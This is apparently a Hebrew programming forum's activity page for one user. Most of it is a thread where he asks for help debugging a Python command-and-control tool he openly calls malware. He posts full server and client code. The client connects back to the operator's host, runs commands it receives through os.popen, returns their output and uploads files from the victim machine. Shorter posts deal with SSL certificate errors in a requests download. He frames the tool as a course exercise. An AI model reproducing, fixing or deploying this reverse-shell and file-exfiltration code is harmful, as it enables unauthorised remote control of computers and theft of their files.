Android
-
בעיה בבניית CNC בפייתון -
בעיה בבניית CNC בפייתוןלמעשה הצלחתי לפתור את הבעיה, הייתה איזו שורה לא במקום...
אבל אני עדיין לא מצליח להריץ את הפקודות הנ"ל@Android כתב בבעיה בבניית CNC בפייתון:
בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח
-
פתרון למוכר שלא שולח לישראל@שמואל-ש כתב בפתרון למוכר שלא שולח לישראל:
יש לי גם עוד כמה שצריכים את זה!
-
בעיה בבניית CNC בפייתון@חגי כתב בבעיה בבניית CNC בפייתון:
האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.
אני משתמש בpycharm אבל לא ממש יודע לדבג (לשים פרינטים זה לא תמיד עוזר)
אשמח להסבר או להפנייה להסבר. תודה -
בעיה בבניית CNC בפייתון@חגי כתב בבעיה בבניית CNC בפייתון:
היינו לדבג
אני עוד לא יודע לדבג וגם הקטע שהקוד לא מוציא שגיאה אלא הקליינט פשוט נתקע
-
בעיה בבניית CNC בפייתון@חגי אתה טוען שהdef מיותר? אני אמחק?
(מהפורום כמובן) -
בעיה בבניית CNC בפייתון@חגי כתב בבעיה בבניית CNC בפייתון:
ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני.
הסרבר מתחיל בsend והקליינט בrecv
הrecv בסרבר שבא אחרי הif נועד כדי לוודא שגם הקליינט נכנס לפונקצייה@Android כתב בבעיה בבניית CNC בפייתון:
if command == "file":
output = client_socket.recv(2048).decode()
file() -
בעיה בבניית CNC בפייתון@חגי כתב בבעיה בבניית CNC בפייתון:
@Android
רק אציין שראיתי את הפוסט ולא הבנתי מה השאלה, אז המשכתי הלאה.
רק כתבת שלא הצלחת ולא הבנתי מה ניסית לעשות ומה לא עבד, ולא היה לי כוח לעבור על כל הקוד שלך בשביל לנסות להבין במה אני אמור להתמקד, כי אני אפילו לא יודע מה הקוד אמור לעשות.וגם לכתוב שהבעיה בCLI זה לא מבודד כלום. זה רק אומר שהקוד שלך עובד ויש סיבה אחרת שזה לא עושה מה שאתה רוצה, לא?
מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליחמקווה שעכשיו זה יותר ברור אבל אם לא אני אנסה להסביר יותר
-
בעיה בבניית CNC בפייתון@yossiz כתב בבעיה בבניית CNC בפייתון:
@Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
(שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים)
זה לא מספיק?@Android כתב בבעיה בבניית CNC בפייתון:
הבעיות ככל הנראה נמצאות ב CLI
כי יותר מזה אני לא יודע
ניסיתי ובדקתי ולא הגעתי למסקנה מה לא כשורה -
בעיה בבניית CNC בפייתון@אף-אחד-3 אני רוצה שזה יהיה עם ממשק כלומר שאני יכול להריץ פקודה אחר פקודה ע"י input
-
בעיה בבניית CNC בפייתוןכפי שכנראה הבנתם אני מנסה ללמוד את התחום ובמסגרת הלימודים אמרו לנו לעשות אתגר בפייתון
אז ניסיתי להתחיל לפתור אותו ונתקלתי בבעיה אשמח אם תעזרו לי לפותרה, תודה
מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליחנ.ב. סורי שאין הערות...
זה הסרבר:import socket host = "0.0.0.0" port = 1213 server_socket = socket.socket() print("[-] Socket created") server_socket.bind((host, port)) print("[-] Connection binded") server_socket.listen() print("Waiting for new connection...") (client_socket, client_address) = server_socket.accept() print(f"victim connected!(address: {client_address}") # transfers files def file(): while True: # The path to file path_file = input("Please enter the requested file path without the file name: ") client_socket.send(path_file.encode()) data = client_socket.recv(4096).decode() if "error" in data.lower(): print(data) else: break while True: # file name global file_name file_name = input("Please enter the name of the requested file (example: image.jpg): ") client_socket.send(file_name.encode()) client_socket.recv(4096).decode() if "error" in data.lower(): print(data) else: break if file_name.lower() != "exit": file = open(fr"c:\users\h\desktop\files_from_victim\{file_name}" "wb") size = client_socket.recv(1024).decode() size = int(size) while size > 0: file.write(client_socket.recv(1000)) size -= 1000 file.close() print("returns to CMD") # CLI command = input("CMD> ") while command.lower() != "exit": if command == "file": output = client_socket.recv(2048).decode() file() client_socket.send(command.encode()) output = client_socket.recv(4096).decode() print(output) command = input("CMD> ") client_socket.send("exit".encode()) client_socket.close() server_socket.close()
וזה הקליינט:
import socket import os server = "10.0.0.4" port = 1213 client_socket = socket.socket() client_socket.connect((server, port)) print("Client connect") # trasfers files def file(): print("in the 'TF'") while True: path_file = client_socket.recv(2048).decode() try: os.popen(f"cd {path_file}") client_socket.send("Excellent".encode()) break except: client_socket.send("Error!! Please try again".encode()) while True: file_name = client_socket.recv(2048).decode() try: global file file = open(file_name, "rb") global size size = os.path.getsize(file_name) client_socket.send("Excellent".encode()) break except: client_socket.send("Error!! Please try again".encode()) client_socket.send(str(size).encode()) while size > 0: client_socket.send(file.read(1000)) size -= 1000 file.close() # CLI command = client_socket.recv(2048).decode() print(command) while command.lower() != "exit": print(command) if command == "file": client_socket.send("in the 'TF'".encode()) file() try: output = os.popen(command).read() client_socket.send(f" {output}".encode()) command = client_socket.recv(2048).decode() except: client_socket.send("Error!!\nPlease try again".encode()) command = client_socket.recv(2048).decode() client_socket.close()
הוספתי כמה פרינטים כדי למצוא את הבעיה...
אשמח לכל הערה ו\או הארה
מקווה שלא טעיתי בקודהקוד בתהליך בניה
-
אשמח לעזרה בקוד פייתון@צדיק-תמים כתב באשמח לעזרה בקוד פייתון:
הפקודה שהבאת נראית הגיונית, תנסה אולי לסגור את חלון הטרמינל ולפתוח אותו מחדש
ניסיתי גם להריץ כמנהל וזה עדיין לא עובד
requests.exceptions.SSLError: HTTPSConnectionPool(host='www.digitalwhisper.co.il', port=443): Max retries exceeded with url: /files/Zines/0x08/DigitalWhisper8.pdf (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997)')))
-
אשמח לעזרה בקוד פייתון@צדיק-תמים הרצתי את זה ועדיין לא עובד
type "C:\Users\h\Downloads\myca.crt">>"C:\Users\h\AppData\Local\Programs\Python\Python310\lib\site-packages\certifi\cacert.pem"
-
אשמח לעזרה בקוד פייתון@צדיק-תמים את זה?
אני יצטרך להוסיף את זה לכל סקריפט? -
אשמח לעזרה בקוד פייתון@צדיק-תמים יש לי סינון של רימון, זה גם יכול להוות בעיה?
אם כן איך אני מתקין את התעודה?
תודה -
אשמח לעזרה בקוד פייתון@צדיק-תמים כתב באשמח לעזרה בקוד פייתון:
import requests
url = requests.get(f"http://digitalwhisper.co.il/files/Zines/0x08/DigitalWhisper8.pdf")
with open(fr"C:\Users\shlomo\Desktop\DigitalWhisper8.pdf", "wb") as file_net: file_net.write(url.content)עכשיו ניסיתי את זה וזה לא עובד לי, מוזר
אלה השגיאות:
Traceback (most recent call last): File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 703, in urlopen httplib_response = self._make_request( File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 386, in _make_request self._validate_conn(conn) File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 1040, in _validate_conn conn.connect() File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connection.py", line 414, in connect self.sock = ssl_wrap_socket( File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\util\ssl_.py", line 449, in ssl_wrap_socket ssl_sock = _ssl_wrap_socket_impl( File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\util\ssl_.py", line 493, in _ssl_wrap_socket_impl return ssl_context.wrap_socket(sock, server_hostname=server_hostname) File "C:\Users\h\AppData\Local\Programs\Python\Python310\lib\ssl.py", line 512, in wrap_socket return self.sslsocket_class._create( File "C:\Users\h\AppData\Local\Programs\Python\Python310\lib\ssl.py", line 1070, in _create self.do_handshake() File "C:\Users\h\AppData\Local\Programs\Python\Python310\lib\ssl.py", line 1341, in do_handshake self._sslobj.do_handshake() ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\adapters.py", line 440, in send resp = conn.urlopen( File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 785, in urlopen retries = retries.increment( File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\util\retry.py", line 592, in increment raise MaxRetryError(_pool, url, error or ResponseError(cause)) urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='www.digitalwhisper.co.il', port=443): Max retries exceeded with url: /files/Zines/0x08/DigitalWhisper8.pdf (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997)'))) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\h\desktop\python\pythonProject\BeautifulSoup4.py", line 10, in <module> url = requests.get("http://digitalwhisper.co.il/files/Zines/0x08/DigitalWhisper8.pdf") File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\api.py", line 75, in get return request('get', url, params=params, **kwargs) File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\api.py", line 61, in request return session.request(method=method, url=url, **kwargs) File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 529, in request resp = self.send(prep, **send_kwargs) File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 667, in send history = [resp for resp in gen] File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 667, in <listcomp> history = [resp for resp in gen] File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 237, in resolve_redirects resp = self.send( File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 645, in send r = adapter.send(request, **kwargs) File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\adapters.py", line 517, in send raise SSLError(e, request=request) requests.exceptions.SSLError: HTTPSConnectionPool(host='www.digitalwhisper.co.il', port=443): Max retries exceeded with url: /files/Zines/0x08/DigitalWhisper8.pdf (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997)')))
-
אשמח לעזרה בקוד פייתון@צדיק-תמים בהתחלה הייתה תמונה אבל היא הוסרה